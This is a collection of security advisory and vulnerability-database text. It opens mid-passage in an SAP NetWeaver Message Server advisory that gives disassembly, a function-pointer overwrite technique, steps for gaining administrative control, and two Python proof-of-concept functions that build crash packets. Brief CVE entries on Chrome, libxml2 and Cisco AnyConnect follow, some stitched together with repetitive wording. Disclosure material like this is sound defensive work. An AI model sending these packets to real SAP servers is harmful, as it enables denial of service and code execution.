'[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities.

Multiple stack-based buffer overflows in msg_server.exe in SAP NetWeaver ABAP 7.x allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) long parameter value, (2) crafted string size field, or (3) long Parameter Name string in a package with opcode 0x43 and sub opcode 0x4 to TCP port 3900. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. NetWeaver ABAP is prone to a denial-of-service vulnerability

Use-after-free vulnerability in the UI in Google Chrome before 20.0.1132.43 on Mac OS X allows attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors.

Multiple integer overflows in libxml2, as used in Google Chrome before 20.0.1132.43 and other products, on 64-bit Linux platforms allow remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors. libxml2 is prone to multiple integer-overflow vulnerabilities because it fails to properly validate user-supplied input. Successful exploits may allow the attacker to execute arbitrary code in the context of applications that use the affected library. Failed exploit attempts will likely result in denial-of-service conditions. Note: This issue was previously discussed in BID 54203 (Google Chrome Prior to 20.0.1132.43 Multiple Security Vulnerabilities), but has been given its own record to better document it. Google Chrome is a web browser developed by Google (Google). An attacker with a privileged network position may inject arbitrary contents. This issue was addressed by using an encrypted HTTPS connection to retrieve tutorials. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ===================================================================== Red Hat Security Advisory Synopsis: Moderate: libxml2 security update Advisory ID: RHSA-2012:1288-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2012-1288.html Issue date: 2012-09-18 CVE Names: CVE-2011-3102 CVE-2012-2807 ===================================================================== 1. Summary: Updated libxml2 packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5 and 6. The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. 2.

Description: The libxml2 library is a development toolbox providing the implementation of various XML standards. Multiple integer overflow flaws, leading to heap-based buffer overflows, were found in the way libxml2 handled documents that enable entity expansion. A remote attacker could provide a large, specially-crafted XML file that, when opened in an application linked against libxml2, would cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2012-2807) A one byte buffer overflow was found in the way libxml2 evaluated certain parts of XML Pointer Language (XPointer) expressions. A remote attacker could provide a specially-crafted XML file that, when opened in an application linked against libxml2, would cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2011-3102) All users of libxml2 are advised to upgrade to these updated packages, which contain backported patches to correct these issues. The desktop must be restarted (log out, then log back in) for this update to take effect. 4. This update is available via the Red Hat Network. Details on how to use the Red Hat Network to apply this update are available at https://access.redhat.com/knowledge/articles/11258 5.

The VPN downloader implementation in the WebLaunch feature in Cisco AnyConnect Secure Mobility Client 2.x before 2.5 MR6 on Windows, and 2.x before 2.5 MR6 and 3.x before 3.0 MR8 on Mac OS X and Linux, does not properly validate binaries that are received by the downloader process, which allows remote attackers to execute arbitrary code via vectors involving (1) ActiveX or (2) Java components, aka Bug ID CSCtw47523. The problem is Bug ID CSCtw47523 It is a problem.A third party may execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco AnyConnect VPN Client. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists due to insufficient signature checks with the Cisco AnyConnect VPN Client. When the client is invoked through the ActiveX control it downloads and checks a file called vpndownloader.exe. This file has to be properly signed by Cisco. Once this file is downloaded it is run and downloads additional configuration files. Within the downloaded config file it is possible to force a download of executable files. Those files are not properly checked for valid certificates and are run on the host as soon as they are downloaded. The Cisco AnyConnect Secure Mobility Client is a Cisco Next-Generation VPN Client that provides remote IPsec (IKEv2) or SSL Virtual Private Network (VPN) connectivity to devices running Cisco IOS Software and Cisco 5500 Series Adaptive Security Appliances (ASA). This issue affects the VPN Downloader component. An attacker can exploit this issue by using social engineering techniques to coerce unsuspecting users to download and execute arbitrary applications. Failed exploit attempts will likely result in a denial-of-service condition. These issues are tracked by Cisco Bug IDs CSCtw47523 and CSCty45925.

The VPN downloader implementation in the WebLaunch feature in Cisco AnyConnect Secure Mobility Client 2.x before 2.5 MR6 and 3.x before 3.0 MR8 does not compare the timestamp of offered software to the timestamp of installed software, which allows remote attackers to force a version downgrade by using (1) ActiveX or (2) Java components to offer signed code that corresponds to an older software release, aka Bug ID CSCtw48681. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco AnyConnect VPN Client. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists because the VPN AnyConnect helper program does not check the version number of the vpndownloader.exe program it downloads. As such it is possible to forcefully install an older version of the vpndownloader.exe that is vulnerable to previously patched issues. This older version of the client software may contain vulnerabilities which can be exploited by the attacker to perform further attacks.
